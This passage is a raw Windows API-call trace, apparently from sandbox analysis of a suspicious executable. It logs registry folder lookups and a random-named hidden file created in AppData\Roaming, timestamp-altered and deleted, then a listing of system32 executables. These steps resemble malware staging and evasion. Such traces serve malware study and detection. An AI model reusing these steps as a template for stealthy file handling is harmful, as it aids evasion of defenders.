lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cache", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.713] RegEnumValueA (in: hKey=0x120, dwIndex=0x1b, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Templates", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.713] RegEnumValueA (in: hKey=0x120, dwIndex=0x1c, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{4C5C32FF-BB9D-43B0-B5B4-2D72E54EAAA4}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.713] RegEnumValueA (in: hKey=0x120, dwIndex=0x1d, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.713] RegEnumValueA (in: hKey=0x120, dwIndex=0x1e, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc240, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0247.713] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe9d8 [0247.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc240, cbMultiByte=7, lpWideCharStr=0x23fe9d8, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0247.713] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fea60 [0247.713] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe9d8) returned 1 [0247.713] RegQueryValueExW (in: hKey=0x120, lpValueName="AppData", lpReserved=0x0, lpType=0x18f8c0, lpData=0x0, lpcbData=0x18f8d0*=0x0 | out: lpType=0x18f8c0*=0x1, lpData=0x0, lpcbData=0x18f8d0*=0x5c) returned 0x0 [0247.713] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe9d8 [0247.713] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x282da8) returned 1 [0247.713] RegQueryValueExW (in: hKey=0x120, lpValueName="AppData", lpReserved=0x0, lpType=0x18f8c0, lpData=0x23fe9d8, lpcbData=0x18f8d0*=0x5c | out: lpType=0x18f8c0*=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpcbData=0x18f8d0*=0x5c) returned 0x0 [0247.713] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fea60) returned 1 [0247.713] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fea60 [0247.713] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe9d8) returned 1 [0247.713] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fea60) returned 1 [0247.714] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x800) returned 0x283958 [0247.714] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpszShortPath=0x283958, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming") returned 0x21 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x283958) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd268) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd258) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2f8) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd308) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc900) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd318) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc948) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd328) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc990) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd338) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc9d8) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd348) returned 1 [0247.714] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fca20) returned 1 [0247.714] RegCloseKey (hKey=0x120) returned 0x0 [0247.714] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe8c8 [0247.714] CryptAcquireContextW (in: phProv=0x18f954, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f954*=0x636958) returned 1 [0247.715] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f968 | out: pbBuffer=0x18f968) returned 1 [0247.715] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.715] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe8c8 [0247.715] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.716] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.716] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.716] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.717] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.717] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.717] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.718] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.718] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.718] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.718] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.718] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.718] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.719] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.719] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.719] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.720] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.720] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.720] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.721] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.721] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.721] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.722] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.722] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.722] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.722] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.722] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.722] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.723] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.723] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.723] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.724] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.724] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.724] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.725] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.725] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.725] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.725] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.725] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.726] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.726] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.726] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.726] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.727] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.727] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.727] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.728] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.728] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.728] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.729] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.729] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.729] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.729] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.729] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.729] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.730] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.730] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.730] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.731] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.731] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.731] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.732] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.732] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.732] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.732] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.732] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.732] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.733] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.733] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.733] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.734] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.734] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.734] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.735] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.735] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.735] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.735] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.735] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.736] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x636958) returned 1 [0247.736] CryptGenRandom (in: hProv=0x636958, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0247.736] CryptReleaseContext (hProv=0x636958, dwFlags=0x0) returned 1 [0247.737] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BaxkixuAr11Nw" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\7baxkixuar11nw"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x23f0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x18fc6c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0247.737] GetLastError () returned 0x2 [0247.737] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BaxkixuAr11Nw" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\7baxkixuar11nw"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x120 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x184) returned 0x289d18 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fcb40 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fcbd0 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fcb88 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fcaf8 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fcab0 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fca68 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fca20 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc9d8 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc990 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc948 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc900 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.747] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x282970 [0247.747] SetFileTime (hFile=0x120, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0247.747] NtClose (Handle=0x120) returned 0x0 [0247.748] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x800) returned 0x283958 [0247.748] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BaxkixuAr11Nw", lpszShortPath=0x283958, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1") returned 0x2a [0247.748] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BaxkixuAr11Nw" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\7baxkixuar11nw"), fInfoLevelId=0x0, lpFileInformation=0x18f95c | out: lpFileInformation=0x18f95c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xa8582210, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0xa8582210, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xa8582210, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.748] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BaxkixuAr11Nw", dwFileAttributes=0x80) returned 1 [0247.748] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BaxkixuAr11Nw" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\7baxkixuar11nw")) returned 1 [0247.749] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x283958) returned 1 [0247.749] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe8c8) returned 1 [0247.749] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x2829b8 [0247.749] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x100) returned 0x282850 [0247.749] GetSystemDirectoryW (in: lpBuffer=0x282850, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0247.749] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x282850) returned 1 [0247.749] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe8c8 [0247.749] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.749] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fea60 [0247.749] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\*.exe", fInfoLevelId=0x1, lpFindFileData=0x18fa00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18fa00) returned 0x6368a0 [0247.749] CryptAcquireContextW (in: phProv=0x18f970, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f970*=0x636998) returned 1 [0247.750] CryptGenRandom (in: hProv=0x636998, dwLen=0x4, pbBuffer=0x18f984 | out: pbBuffer=0x18f984) returned 1 [0247.750] CryptReleaseContext (hProv=0x636998, dwFlags=0x0) returned 1 [0247.750] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f389923, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f389923, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f389923, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="aitagent.exe", cAlternateFileName="")) returned 1 [0247.753] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9897070, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="alg.exe", cAlternateFileName="")) returned 1 [0247.753] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22f4ae5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x22f4ae5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd99a1240, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="appidcertstorecheck.exe", cAlternateFileName="")) returned 1 [0247.753] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf143, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb9cf143, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9a5f920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="appidpolicyconverter.exe", cAlternateFileName="")) returned 1 [0247.753] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a17d73, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84a17d73, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9ad2510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="ARP.EXE", cAlternateFileName="")) returned 1 [0247.753] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa1c868, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1fa1c868, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9b45100, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="at.exe", cAlternateFileName="")) returned 1 [0247.753] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10ef45b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc10ef45b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="AtBroker.exe", cAlternateFileName="")) returned 1 [0247.753] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="attrib.exe", cAlternateFileName="")) returned 1 [0247.753] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6dcfc6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d6dcfc6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d703126, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x610150, 